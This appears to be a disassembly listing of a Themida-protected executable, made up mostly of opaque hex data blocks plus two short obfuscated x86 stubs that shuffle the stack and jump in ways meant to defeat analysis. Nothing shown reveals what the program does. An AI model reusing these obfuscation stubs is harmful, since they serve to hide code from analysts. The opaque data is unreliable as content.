dd 15304112h, 0AF93E4DDh, 0DF7062F6h, 0B3938B4Eh, 0D1B5DE16h dd 0FBF22A60h, 60F17907h, 0A2BABE27h, 4DE6DEA1h, 5DF18D26h dd 0E0304117h, 3EFB174Fh, 0E39CCE32h, 65D811A2h, 24760CC9h dd 0D149813Ah, 0DA22A4BAh, 4A036F97h, 2EE77809h, 9C551BEAh dd 7C0AA58h, 863040C3h, 2CA4B6B0h, 0F8075016h, 0B3CB9F70h dd 0E96CEFB2h, 2DC5B94Dh, 0ADBD432Ah, 7F10B3F4h, 995216EBh dd 0FA931F58h, 5F3410EAh, 0CEAC40DCh, 730F3041h, 3041CEDFh dd 9526C95Ah, 0BF78095Ch, 2BE4847Bh, 6D3A3C90h, 0F5915455h dd 3A24F35Ch, 0B5B54DE1h, 592ABBFCh, 2F41C216h, 4A03679Bh dd 738CD009h, 0D1C93CF5h, 51CDF43Eh, 692CBB5h, 2A2CF66Eh dd 0D285E145h, 0F5783B2Dh, 2DF6C559h, 2BA6B32Ah, 0A6B68C59h dd 0B8397203h, 0F90A5BA4h, 2B23E677h, 3BAD85E2h, 0FF68A14Ch dd 0ABFD948Ch, 0C6B94E88h, 7071898Dh, 0D06C11ADh, 80113410h dd 0DF9F86AFh, 6703C6C7h, 3A2B7785h, 8D936BFCh, 0B440F979h dd 2A3A5F1Ch, 12D5D6EEh, 24117476h, 8346D734h, 0E099D12Fh dd 0B2DDDFF8h, 0C2536ED9h, 3DC21689h, 0B9465A2Bh, 2F83F6AFh dd 9CDD96D2h, 8BE71F63h, 0ACCA1FC2h, 7BC944E6h, 0FF5h dd 0E7B8BA52h, 6A3B2FD3h, 0EFC0AA56h, 714226DBh, 0F8C9A95Dh dd 0B5513EE3h, 2BD8ECBDh, 0A5607445h, 19E6FACBh, 0D71C7E4Fh dd 46AFA73Bh, 74C42230h, 9B9E2DD9h, 3736FA98h, 0EDD2C6FEh dd 0A7FD35A3h, 0AE024516h, 0B347E353h, 362A2CFEh, 97DB14A5h dd 0E93D0068h, 579B541Ch, 0C90AC3AFh, 2396FF38h, 0FC86392Bh dd 3A735A89h, 0A65F09F6h, 342343A7h, 89CC9DCBh, 9F5CC35h dd 29463CF2h, 2B6C25B6h, 7515B8F2h, 8B086993h, 0A000001h dd 0C0AA56AAh, 498DC607h, 1B57AFB6h, 0D7902162h, 2BFC6C93h dd 7B3E3F57h, 1029F6DFh, 31EA7B34h, 412A0DA5h, 199CE130h dd 4129E97Dh, 9AD36430h, 45C86006h, 412A15A9h, 0CE079830h dd 0A748F194h, 4BE46Fh, 0F9F10000h, 1DAFCADCh, 481DF023h dd 0E9CD0F70h, 0AAA11F58h, 84BDAB56h, 0A4676880h, 84BDB350h dd 203C7511h, 0B0413410h, 36799EDh, 67D0094Ah, 0D63A0F4h dd 13B048D4h, 1E843041h, 36761958h, 0C0696FA7h, 76000000h dd 568FE122h, 4226D9D8h, 0B1C14589h, 0D23185F8h, 6BA4E59Eh dd 0CD90D827h, 28E18979h, 145AEE7h, 3D996AFEh, 2A2C05EAh dd 14D7916Eh, 0EF2741C0h, 38D5AEA2h, 0B8397220h, 0C256F275h dd 3D2A2D8Dh, 576F73ACh, 0F79356h, 8934144Ah, 25E135F8h dd 0B6397C4Dh, 10C99F62h, 195FF3CFh, 49DA3043h, 1956EA86h dd 48D93043h, 373BCB0Fh, 0AE4EE56Eh, 0F947C2E6h, 0E65h dd 77482AE2h dd 0FACB9F63h, 7F501AE6h, 1D2966Bh, 885919EDh, 25E14E73h dd 9B687C4Dh, 15F004D5h, 89768A5Bh, 67AC0EDFh, 46B237CBh dd 454B230h, 570B2AAh, 0ACFC8E1Dh, 98D72F73h, 94A036Dh dd 6C93A778h, 0D9DD2BFCh, 45894226h, 0F56ABBAh, 7CBD76F2h dd 0F88C28EBh, 732A2CF9h, 6C8051E2h, 181CD593h, 0E83CFF00h dd 5697501Ah, 0AD0EAA1Dh, 0E0341013h, 0B0607E4Fh, 9B000007h dd 51B0BF47h, 8C1D5E17h, 2DD9D553h, 0D22E8245h, 659EDF98h dd 0F9D870FCh, 92AA2A2Ch, 3832CE91h, 0BB3416ACh, 61E4672Ah dd 46A831C5h, 0E21BAC30h, 3607619Eh, 0D28BDD22h, 31FA788Eh dd 0E6A1C09Ah, 0A22674EFh, 0A500000Dh, 263A0B67h, 0A9BD8EDCh dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046B1FAh, 0D9C71775h dd 2E82452Dh, 9BDC95D3h, 32CDE162h, 0C6397D36h, 86EAE9A2h dd 0E08877E0h, 0F87B251Dh, 1E5614EEh, 84BDC37Fh, 1756F903h dd 20496994h, 4B000000h, 0BA89B2AAh, 0F2A88A3Ch, 0B6C917BAh dd 0F0295CD3h, 2C723F64h, 0B6BA492Ah, 0FDBA8725h, 0AAB7FFFFh dd 0FFC2B056h, 2CF9CF63h, 80B94A2Ah, 2CF95CF4h, 15162E2Ah dd 8A7BCF52h, 0B3EC2DE6h, 16AC3527h, 581BAC34h, 1DADDDD5h dd 183A2068h, 4649BDFh, 88E01F33h, 0F77B8BCFh, 0A10E892Eh dd 2D7BF6E6h, 0CDDh, 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h dd 10E19175h, 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h dd 0EF349667h, 46B2BF53h, 8CDC3A30h, 0C73F26D9h, 1D611AABh dd 0CECD86E2h, 0D82C0C6Ah, 0E32A9E2Bh, 0C8224E6Bh, 7A3D7E37h dd 2D1E4ADEh, 0FB34C52Ah, 4F2048B7h, 0A7C0140Ch, 7EFE24D1h dd 24680B45h, 0D5B6993h, 5D000000h, 2C106C91h, 0FD85232Ah dd 0B5FFFFFCh, 3D000119h, 185119E9h, 17BC09A5h, 20B13410h dd 0C42DB67h, 0B2183041h, 2A0AADB4h, 0F5FD6FA7h, 0A000001h dd 0F99B8C12h, 0FF3842C2h, 0FA299181h, 0EC5E2A2Ch, 0AE7FE916h dd 4A03659Ah, 0EE8283D7h, 0F97929B5h, 1172A2Ch, 580DF265h dd 9306BFA9h, 2CF963F7h, 0C455E62Ah, 0F9D16501h, 0BB4C2A2Ch dd 6785592Ah, 8E71B56Eh, 72C609DAh, 5CA0D98Fh, 0AE02C5A3h dd 775F1852h, 74A8B07h, 639C2D24h, 53C66EFAh, 0D51A2A2Dh dd 5422B652h, 0D4082A2Dh, 10D39505h, 0CE32C669h, 3ED20B9Ch dd 4E963938h, 71896993h, 8B000001h, 0C03F26D9h, 1AAEEFA8h dd 31F485EBh, 0F97E12AEh, 70012A2Ch, 758ACE37h, 0E7DF22F3h dd 0CF6C5629h, 0C104935h, 9430F3F4h, 341096ABh, 0F8843DCEh dd 30415560h, 0C9A8CE34h, 6FA77426h, 2719h, 1191B00h, 68A13D00h dd 0ED341020h, 0DC30A35Ch, 4F904927h, 13F28A16h, 60C63041h dd 36B85B06h, 0F4AB6FA7h, 0AD000000h, 7F4226D9h, 2ACB04FCh dd 5678E696h, 2D26E67Ah, 0E58B782Ah, 7679B142h, 29D315B1h dd 83C73069h, 5015EC83h, 0BEFFB8B2h, 85D99C2Dh, 0F438F181h dd 91CA5B0Dh, 0DCBDB528h, 484B7743h, 560F61A2h, 74B8415h dd 44B770F8h, 86B9804Ch, 2D0656EAh, 1048D92Ah, 0C4FD9623h dd 20E67F80h, 0C7589952h, 0DECF9AF6h, 3EC12A2Ch, 0D5BA4F8h dd 2DCE9D31h, 0FE8F202Ah, 6A96EA2Dh, 1464C800h, 1D2DAF25h dd 0C7C8E0E4h, 62FE8104h, 2A2D5FCEh, 0FB87C051h, 34141C04h dd 0DD31F485h, 4DB34723h, 1D71E41Dh, 0A4B889E9h, 79F90D62h dd 0BC901FE8h, 9611E6AEh, 0AA048h, 0D65A700h, 90DA283Ch dd 1555ABBFh, 97D13044h, 1E54B2C6h, 0A683384Dh, 2D411260h dd 0B5C99AD6h, 3B4F2050h, 71D3A4C4h, 0B4FC902Ch, 217F3046h dd 452DD9D1h, 9AD82E82h, 33CCE061h, 0D9166435h, 45894226h dd 0AA9607BAh, 0E1E8DBD9h, 14617F50h, 91000004h, 0C6DEA0C4h dd 836602C5h, 63416ACh, 0BFD79D75h, 942545BBh, 0C89435D1h dd 0C1F93A29h, 0A8D67807h, 0CA831450h, 3A6DA63Eh, 0A2C8382Ah dd 0C5CA5E9h, 76F05453h, 6D8216B2h, 6CFD2A3Ah, 4C4489DBh dd 0E9E64E2Bh, 4C26E06Ch, 88C15293h, 4CEF72F4h, 3F69A070h dd 373h, 0A956AA41h, 62FA86BFh, 0AC2A2CF9h, 2A2CFA1Dh dd 0FFC2C3DBh, 10204E63h, 713ACB34h, 0E6AC7738h, 0CE1C6AE5h dd 79000009h, 0FA0EDF93h, 7D916208h, 216E783h, 849869FFh dd 0A1FF082h, 0E48E78D5h, 6C04FF13h, 0F27E879Bh, 76F20D21h dd 62FE43A5h, 3046B5CEh, 0D9A3F351h, 85894226h, 26A96C6Dh dd 0F97307A3h, 33F62A2Ch, 2CFA0397h, 64F5862Ah, 0AC419F2Bh dd 0B7483416h, 761A0F4h, 61794DCEh, 11CAA65Dh, 0E07C3FD0h dd 3A305986h, 0E539FC8Dh, 2581521Eh, 2A2C06B5h, 95717587h dd 677B4CDDh, 0D71BD49Ch, 297D4028h, 9ADB94DCh, 0DCF4F861h dd 2B7C18DBh, 1E341006h, 6FC1C48Dh, 0F8AE6ACh, 930C1h dd 7DF51700h, 6A98ACh, 85E51B2Fh, 761A0B4h, 8EE42236h dd 1673A8BDh, 9DB182F0h, 25390A66h, 0ABBF90E0h, 0E1431454h dd 0B66C009Ch, 91EF3046h, 11941h, 0AC47A13Dh, 39CA3416h dd 8FE12276h, 0DF8978CCh, 0F21125A6h, 132680D7h, 1FB08776h dd 494A6266h, 6A8CEA86h, 0EE7F3A30h, 18193135h, 877ED255h dd 3324B0E9h, 9634103Bh, 70A9BF42h, 0D6C38C1Dh, 0CFE6AC4Ch dd 8B30654h, 78940000h, 0ED1529FAh, 6898AC7Dh, 0E41D3102h dd 679FB384h, 0F0253A0Bh, 2EFF7393h, 0B687E91Ah, 3C0D63A2h dd 0C091D728h, 0E97D195Eh, 643046B6h, 56AAB606h, 468AC3ADh dd 0A9B208B9h, 82B208C3h, 0BF438F1h, 1A78CFB6h, 0E44F87E9h dd 0F4AD3EA4h, 82D591F5h, 0D428EB7Dh, 83043D2Bh, 581AEC40h dd 0B542E51Fh, 0C8356993h, 42000001h, 215A18EEh, 0AD56AAA3h dd 90C90AC3h, 0B073748Ch, 1004B314h, 8C45D634h, 0B6312119h dd 4AC9D204h, 0EAED8511h, 7CC13041h, 0EAC95DF9h, 88243041h dd 3041EAF4h, 0B243E677h, 0EABF53EFh, 0A93A3041h, 0D79ADC70h dd 6FA80934h, 17A27h, 26D92900h, 1E168942h, 79311164h dd 76BAF388h, 3A0EDF89h, 89E71E22h, 0B09935F8h, 0D534105Bh dd 67FF8B44h, 0F93040FAh, 69AD660Ah, 0D417D098h, 92E476F0h dd 84274A2Ch, 776FA719h, 4Ah, 11979h, 0AA19E93Dh, 0CCDA3C1Bh dd 265FF0AFh, 26DE17B3h, 12A33410h, 1735CD59h, 3AC73041h dd 0CE31752Eh, 7EE2E19Ah, 0DB2072F8h, 0B7F07887h, 7B1E4323h dd 6E6FA739h, 0D0h, 5FA4F87Bh, 0AA13511h, 8B1C3041h, 26D9D452h dd 0C1458942h, 285F8B1h, 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh dd 431454ABh, 48A50800h, 403CD8E8h, 92187B07h, 0CE512A2Ch dd 2D619E32h, 5790212Ah, 524AEC13h, 0F7F9E98Ch, 0CD613D0Eh dd 502A2D9Dh, 895D2EBFh, 59AD7071h, 1588C1A9h, 145A8279h dd 0B3760734h, 0FACBA75Fh, 0CA9E63B7h, 0B9B94D91h, 0AE7D99F0h dd 418F0AE6h, 705h, 0D7A8CA42h, 5A2B3FC3h, 0DFB0BA46h dd 613236CBh, 0E8B9B94Dh, 0C5412ED3h, 3BC8DCADh, 0B5506435h dd 29D6EABBh, 0C70C6E3Fh, 46B8972Bh, 64B41230h, 97FFB2AAh dd 0CA13A743h, 5962A2Dh, 3CBADECDh, 2B47BF03h, 0F894175Ah dd 2A2DEB64h, 0D91D56E7h, 23714226h, 0D79B26D9h, 0C6A45EEFh dd 20D4FC8Eh, 8778CC8Fh, 0CC3FA8E1h, 0BB19AD49h, 3942A2Dh dd 0BB10A440h, 0FA8B2A2Dh, 0E6827DC1h, 49F715h, 0C4270000h dd 0B44CA06Fh, 4CB9FDB6h, 992A6B24h, 43445C60h, 0AB88E480h dd 0F2833416h, 7091E51Ah, 5C66BFF8h dd 0C7A35FB3h, 9094CD0Eh, 0BCB47778h, 6997BFFEh, 279AD30Eh dd 30642E8Bh, 724ADB3Ah, 5018E93Dh, 5FC917h, 0AAF90000h dd 9C2B056h, 738B8FC8h, 6E13AF72h, 0B341007h, 9D63B77Ah dd 9F2B94CDh, 3040EC00h, 0C982E818h, 17EF7E85h, 0D061A25Bh dd 9DD9EF17h, 294D23CDh, 0A265667Eh, 0FBF46106h, 5EA8FC2Dh dd 0E8B246E2h, 9C2D2A2Ch, 706A520Bh, 0D986BDC8h, 0D72A63F4h dd 0D62F8346h, 0C2E0619Ah, 9Eh, 119F2h, 0ACBFA13Dh, 0B1423416h dd 121BA7D0h, 8629482Eh, 796FACCAh, 76h, 1197Bh, 0ACBEA13Dh dd 0B2433416h, 241AA8D1h, 93D790E2h, 0E943FC6Ch, 62075313h dd 0D679F87Eh, 0C96FACCAh, 4Eh, 0FD0119CBh, 13D66703h dd 0A6C43C90h, 3CD0ACEDh, 0BF2A2CFAh, 0E682F52Eh, 3416AB8Ah dd 3931F485h, 5AB73014h, 0A9BD402h, 0DB8F73C7h, 4FA8E122h dd 3337CB73h, 0A1CF367Ah, 0E185E9E8h, 50E18F76h, 0C2AFC7ABh dd 6FAC4A1Fh, 0D12h, 4C911400h, 432A2C1Dh, 0FFFF06A5h dd 27AAD5FFh, 2CF9F78Bh, 0A8E1722Ah, 0C88B8CA4h, 16AC1E2Ch dd 1C756D34h, 7A546794h, 0FA3285BEh, 6B289C65h, 4B1DE2ADh dd 6C7029BAh, 0D905354h, 53DD4015h, 2E671A55h, 2FEE45A2h dd 0FEB7483Ah, 1EE1E2FAh, 17987882h, 0A76AFB34h, 3B35D024h dd 99C0C603h, 8417FFBh, 692C3EC4h, 0D5CCA671h, 0DD294EFEh dd 0A5410495h, 30464011h, 41C2FB8Ch, 9154556Dh, 2FF19BF5h dd 4A0D9E3Ah, 0E1972BC7h, 81122A2Dh, 8481D548h, 5ABF1BECh dd 7FC20495h, 0CA9AC787h, 43BFC05Ah, 9C2D6E27h, 88E01F63h dd 0C5CA3B7h, 36374F53h, 0C054F073h, 4AC253D9h, 0BBFCB5BBh dd 0DB4E8718h, 70020458h, 0FEEAB37h, 433BCC37h, 20B1C7DEh dd 0E619AC1h, 0A79CC47Dh, 0FAF48824h, 0E677C85Eh, 0A5D19ADh dd 8EA273F5h, 0FC40F977h, 68AB6406h, 9075E284h, 0FE9A1DE0h dd 0C85EFA6Ah, 0F59154E5h, 0C85EFA61h, 91124BDCh, 2FE8887Dh dd 4066EED6h, 9CD43126h, 197DCBh, 0FB044801h, 0B387E2C6h dd 68F9FE7Fh, 31986BAFh, 3014A741h, 0BE770871h, 2EE7897Ah dd 0E176F006h, 0D2BD4E22h, 4840F87Eh, 0B4A2FBCFh, 0EBEF28FCh dd 654E2CD2h, 79F8BF07h, 0FC0317E8h, 52B1A96Ch, 0C5CA5EAh dd 5CC14CD4h, 5A699223h, 934C1EE4h, 0BEF08420h, 0DA6B2A2Dh dd 53AFC046h, 0CECD8617h, 0D5E0C6Ah, 659ACDA9h, 0DD252B03h dd 39F2788Ah, 22AE67F8h, 2A2DBE8Eh, 1740263Ch, 9AAE7FEBh dd 0C04C056Bh, 2A2DBF27h, 3CC5199Ch, 0F932732Ch, 0AF560165h dd 0C394F0C1h, 0D52A2CDEh, 46874030h, 0FD892BB5h, 537A6993h dd 7CFFFFFFh, 0F78B27AAh, 722A2CF9h, 0B4B44DE1h, 0A0C8377Bh dd 0C8388CCFh, 4E2803FBh, 0A7386B04h, 0EA75ADEEh, 799E99B6h dd 0E8175B94h, 271EB24Eh, 10A12A2Dh, 9768BC7Fh, 266F039Fh dd 59EA2A2Dh, 0EAFE8FC8h, 6B725315h, 0B7481F57h, 3ADDD9B1h dd 2D699349h, 4Eh, 1192Fh, 0AC44A13Dh, 0B8493416h, 2915AED7h dd 94D891D9h, 0ED470072h, 840B5F17h, 0A4C43D91h, 0DD71AAEBh dd 0F5F60E99h, 5A399632h, 31B43A30h, 2CFA0195h, 57EB7C2Ah dd 388BC4ACh, 179ACFA7h, 2CF9E77Bh, 98D1622Ah, 374Ah, 1197A00h dd 17E93D00h, 49D91B53h, 1C9BDCBCh, 77D470E3h, 1234177Fh dd 9B6ABE81h, 0E20B9CD5h, 0C4A238DEh, 0F7BABBD3h, 540D5DA3h dd 0CB67DA13h, 3A30296Eh, 72B28A1Bh, 289B26D9h, 5A646BC0h dd 198C45D6h, 60FC3AC5h, 2A2D5BCCh, 0F42DBE4Fh, 48194FB0h dd 985B5C74h, 108C13FCh, 22E57634h, 3937CEh, 4B730B97h dd 0E1473041h, 6A39DC85h, 0EEE66FA7h, 0E97B5DEh, 0C2EF2852h dd 44h, 0E78B7BCFh, 0B2AA30AEh, 3BF9794Ch, 0C4C8015Dh dd 4CE8ABACh, 34107213h, 800CC556h, 304141E8h, 28E1877Ah dd 0B9A71CE4h, 9C247C61h, 86CA8314h, 6E44EE7Ch, 0AA106208h dd 0BE02A5CCh, 0BEF56FA7h, 0F7000000h, 894226D9h, 0F8B1C145h dd 9CD43185h, 88E01F63h, 0F1748BCFh, 5FA05911h, 0C2BAFDCEh dd 0F7FE8C6Fh, 800C459Dh, 2A2CDB2Dh, 0DBACBC43h, 0B1BF4498h dd 9DCB3478h, 0C7C8E0E4h, 0FB0F6804h, 81123410h, 4EEA6DB0h dd 3041DABAh, 676BA435h, 378B4E4Fh, 0A4E59ECAh, 635CF86Bh dd 0A63A2892h, 8FE5215h, 3DCE9A67h, 0F142827Ah, 0D6206453h dd 0FE081C9Dh, 3BCAAB74h, 48C3E0BAh, 1A4FAh, 969A300h dd 8CDE2438h, 1159A7BBh, 93D52C40h, 1A58AEC2h, 0A28F3449h dd 293D0E64h, 0B1C596DAh, 374B1C54h, 6DCFA0C8h, 0BDF88C28h dd 15733046h, 9E2DD9C5h, 106F88Fh, 0D9AA3BB6h, 5D2E3AC5h dd 0AD56AA0Fh, 90C90AC3h, 0B073748Ch, 3CC4A95Ch, 0A3E49D2Eh dd 0C37CF40Fh, 3AD64982h, 34102001h, 0AE3AF384h, 30411416h dd 8622A5EAh, 304113F2h, 0D11940D8h, 40E38EC9h, 0AD4DE17Dh dd 3FD03041h, 85E175AEh, 0A7D039DCh, 0B72C6Fh, 0D92E0000h dd 2B7F4226h, 98D992D6h, 2F83F65Fh, 9EDF98D0h, 8DE52165h dd 5F548D4h, 847B2A2Ch, 0FF13E4h, 8622A568h, 2A2CFDF2h dd 3AA3DC6Dh, 5A1D1E36h, 102E65BEh, 8657E834h, 0D6999AB2h dd 6B07FF53h, 0E9CCA632h, 0BE4F3A27h, 135FA7FBh, 9AD82E42h dd 0BAEDEAD1h, 0F644BFE0h, 0B9h, 23F47E8Eh, 0A677F30Fh dd 2BFC6E92h, 0AD7EEA17h, 34056D99h, 798DFA1Fh, 0EF1428F9h dd 699CB081h, 0DD223607h, 1358BA8Bh, 46BEE377h, 0B8086630h dd 0F78B27AAh, 722A2CF9h, 0BAB64DE1h, 0A9C93D81h, 2D3BC4D8h dd 7EEF166Ah, 0EE2FE882h, 2B63A45Dh, 0E479BDB6h, 94154E4Bh dd 4226D946h, 0AEBA4589h, 0BB469ADDh, 0CF3074ADh, 285C899h dd 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh, 0FE304863h, 31358935h dd 0BE8FD926h, 108E837Bh, 0E03AEAE1h, 0CC9C63A7h, 1F4BB509h dd 0C8397DE6h, 0A9BFE7A0h, 3659ACDh, 0E0E11E32h, 0E61C3A49h dd 0CC556D2h, 8BEh, 61A5F900h, 0AB5AD811h, 3F33D91Bh, 0ABBD4286h dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh dd 3E2CD418h, 0A9C14185h, 8951EAF0h, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 1BCEh mov [esp], edx push ebp mov ebp, 619B0AAh push ebx mov ebx, ebp mov esi, ebx pop ebx pop ebp push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55D2A6 ; --------------------------------------------------------------------------- dw 9E52h dd 0BE5A9917h, 2012AF5Bh, 93B84350h, 30619C6h, 1DE0FFC5h dd 13284306h, 0D8153663h, 3039EA4Ah, 0DC0378F1h, 0E16C6215h dd 0A510BFACh, 0E937D299h, 0DF7BDFE1h, 4F019F8Bh, 0AD0ACB39h dd 0AA7A276Bh, 6C74DB8Ah, 0CF7EA29Bh, 0AE25C532h, 0AC0BD7E8h dd 0BA01F82Fh, 0FE6C8907h, 926D34D9h, 486E4FE1h, 80088AE7h dd 0CD49DF91h, 5138CA74h, 5C096FD1h, 62DAAD0h, 0C37B2CBh dd 0CC10A487h, 8D100E11h, 19C8838Dh, 8E906h, 798D0000h dd 699FE2CCh, 8D896847h, 6143229h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 49C35242h, 0B6B60AB8h, 72DEEB81h dd 89606BA4h, 1425158Dh, 615B5006h, 64D85C7h, 5D9C0614h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0D4F9F2C3h, 85C7CE3Fh, 6142671h, 0 dd 10E8h, 22352400h, 9F2CA278h, 0F394CE33h, 0FBFF6158h dd 8F8CB838h, 0FF5F3674h, 1406A5B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C129A97Eh dd 8B66A47Bh, 0FF08BD8h, 68Eh, 25B58900h, 0FF06141Ch, 14236195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0FD852999h, 6A06141Ch, 6995FF00h db 11h, 14h word_5A5462 dw 8B06h ; DATA XREF: Themida_:0054B0F4o dd 9A1EEBC0h, 6C8D6CD0h, 2616538h, 59FE23B9h, 0A6509D0Ah dd 928DE23Ah, 0EE494035h, 36E745DDh, 0CE8FAh, 46380000h dd 1F6E797Fh, 648579F4h, 0B9667757h, 0B55B4E45h, 89C381C2h dd 0BE00006Dh, 0 dd 0C7816660h, 95299433h, 614069Dh, 1E34FF61h, 5AC0B70Fh dd 68F0F60h, 0F000000h, 89h, 0E8C0F00h, 0E9000000h, 9 dd 9561CE16h, 0A0AF9972h, 0C2816159h, 582A25F4h, 2B45B501h dd 0C2810614h, 3E9535A0h, 0FF58D8Bh, 0EA810614h, 43CAADB4h dd 6605B966h, 6860F52h, 89000000h, 140B7985h, 33048F06h dd 11659589h, 11E80614h, 5E000000h, 20A02002h, 0B8E8159Eh dd 9F975DA3h, 0DBB6F9F4h, 0EE815FF5h, 6B4A6AF5h, 3435B531h dd 0C6810614h, 6B4A6AF1h, 65E08060h, 8A312AB9h, 0FE81617Fh dd 0FFFF9344h, 0FF5F850Fh, 0D1BFFFFFh, 0E92BF6A3h, 32h dd 6CE8EDF0h, 0Bh dup(0) dd 0EFE90000h, 6800000Bh, 619CB45h, 0FB7D05E9h, 0CC4868FFh dd 0FBE90619h, 68FFFB7Ch, 619CE01h, 0FB7CF1E9h, 0CED968FFh dd 0E7E90619h, 68FFFB7Ch, 619D1C3h, 0FB7CDDE9h, 0D33168FFh dd 0D3E90619h, 68FFFB7Ch, 619D43Dh, 0FB7CC9E9h, 3D35D7FFh dd 0C0AA586Ch, 4525DBEFh, 0C7A16074h, 4E24E2F6h, 0D6B3687Dh dd 5D714230h, 0E5F9CAA6h, 6B7F5020h, 0A103D494h, 0C32CC05Ch dd 51AF3046h, 4226D901h, 94D42B7Fh, 51AEF25Bh, 5A724617h dd 11FA9659h, 5434102Ah, 896B085Ch, 75AEAA84h, 4CD89122h dd 3041D5B4h, 1D442288h, 6FA7F47Ah, 516Dh, 0E0267A00h dd 5F98D992h, 119E1h, 9B71453Dh, 66FAAF04h, 0D516CF99h dd 0FC980B44h, 3410ABC3h, 97C35C6h, 4FEB4DB5h, 30418FBBh dd 0E31CAD3Eh, 418FBF57h, 0BBB25130h, 0DD96274Bh, 49026699h dd 0DA80E64Ah, 1D442288h, 6FA7B27Ah, 0EB6Dh, 26D96F00h dd 0C1458942h, 4BB4F8B1h, 0DF20641Dh, 0F275B889h, 2CF9C256h dd 73AC3D2Ah, 2C05B2E7h, 2F39C62Ah, 0B3B54A5Eh, 0F18F87FAh dd 0B082A4C0h, 0A5BDC1FAh, 7445E1A4h, 0F9341025h, 0ABC39768h dd 6E93E7AAh, 0B24EC1FAh, 3A27CD50h, 5AE41FB3h, 2FA52ABEh dd 8314A52Ah, 2ADB2FF2h, 179A0D46h, 0F22A3EC3h, 6E036E52h dd 2B6FA85Ch, 80D497DBh, 891DB985h, 42A2F0Dh, 4129E273h dd 44319062h, 0D40D9E26h, 0ABC73F53h, 0BA0AE3E2h, 5FAD28E0h dd 9C8h, 0B384EE1Eh, 3607639Fh, 0BB8CDE22h, 3D0E5AA7h dd 0C495DD29h, 0E91D0AAFh, 5FA4B889h, 0D92C4011h, 4DB2C697h dd 0A3E84A1Bh, 46C47307h, 4898F630h, 7D9E2DD9h, 603C182Eh dd 7E9263F4h, 4D22E481h, 9728B9B9h, 0BA8680D4h, 2D508A1Eh dd 0E374052Ah, 0FFB8B04Fh, 0B60485BEh, 3D000119h, 102068A1h dd 0A35CED34h, 41137F17h, 160E5330h, 3E32B663h, 0E97DB683h dd 3F41E48Dh, 0D2346FA7h, 36000000h, 0F78B27AAh, 0DD2A2CF9h dd 0EC25F86Eh, 27BB5E6Eh, 0CA0394DCh, 36EF7986h, 9B5E14F2h dd 0ECAFBB47h, 2D40BC50h, 75AE3F2Ah, 4D4B800Ch, 0E21D2A2Ch dd 5EA1B586h, 6D3D2263h, 5CED010Fh, 86879FA3h, 0D85627C3h dd 3ACB3410h, 2DD22669h, 0E9A2C838h, 1D5E17A8h, 0C7C8E0E4h dd 58F76804h, 0D66A3A28h, 0EDB0412Fh, 42056D99h, 1D5614EEh dd 0FC05599Ch, 3972B36Ch, 986111F5h, 0E0BA034Bh, 0C59BE964h dd 21000008h, 0A2B687EBh, 25390A60h, 0AABE8FDBh, 2C401157h dd 0B2C798DAh, 8CE6200Dh, 145CA7BBh, 9AD62F43h, 1E4AB5C9h dd 0AA6EB4Dh, 3046C576h, 0AA4B9BF9h, 478376B2h, 2F68CB2Eh dd 94571BEBh, 8304C540h, 0C0990E51h, 38B9F283h, 0BC8DDB24h dd 3F26D96Eh, 8F0A9C1h, 9A6D7C1Ch, 5EEF80A0h, 82BC479Bh dd 2D8F52E6h, 0AB3CCD2Ah, 1B55AEF2h, 57902162h, 1055AAEEh dd 18E97AF0h, 0EC8481D5h, 0B5B9F233h, 3DD99C9Dh, 3410B4A4h dd 9BDF9829h, 1F330464h, 43CF88E0h, 0CDB4B3D1h, 6DFA7CD0h dd 0F105D692h, 0C0A8570Eh, 0ED186C2Fh, 55E14A83h, 0BFBDA5BCh dd 4FE5295h, 24FC2E66h, 8DD927B9h, 0B1A6C054h, 35491A4Eh dd 59E59ECAh, 0BFBDE236h, 5F086E44h, 0E3F7C8A0h, 20934C1Ch dd 7A3335CCh, 488C0139h, 0D33A59DFh, 7D7E969Ah, 0CF9966BAh dd 0EDA6CA3Bh, 7D0073ACh, 798DD829h, 6EFF40F9h, 8ED0A935h dd 0C4559E7Fh, 912DB0F3h, 96A882FDh, 0B2B6EF80h, 53D6999Ah dd 0A88323B7h, 0DC15A696h, 0A180CD69h, 5CEDA08Bh, 947E17A3h dd 0EE12949Ch, 867FC37Ch, 1D731EAh, 3DA3F565h, 57ABFF39h dd 0FDA0DA13h, 0F0D402B2h, 487h, 2658C4F2h, 0AE4A0D0Eh dd 34101FEDh, 0B80CCF60h, 2A6B244Eh, 3C3469F1h, 6888D1CDh dd 0F83E29E9h, 0EFA67CB4h, 0D0D15D96h, 841370EEh, 0CA86B6Ch dd 0EEBFD6Fh, 4C50099Ah, 9CD63034h, 4E11A2E3h, 0E03427B2h dd 2E726A10h, 0A0885F03h, 65F64982h, 38CB1FA2h, 0E9A2CE35h dd 1D5E17A8h, 95FA0E4h, 8DDB2438h, 6382ADC4h, 4D9B163Ah dd 70Ch, 6F4032DAh, 0F2C3A75Bh, 774822DEh, 0F9CA9E63h dd 805121E5h, 2DD9B66Bh, 0A3607445h, 1DE8FCCDh, 916E8253h dd 5FA406D7h, 46C82FC3h, 0FC4CAA30h, 894226D9h, 0DEAFBB45h dd 0CBC0h, 56AAF000h, 5FF38FAFh, 0DA2A2CF9h, 0BEFFB849h dd 68628185h, 6344D59Bh, 3335CC20h, 52DBA1FAh, 0DC30086Eh dd 0E77B1727h, 622A2CF9h, 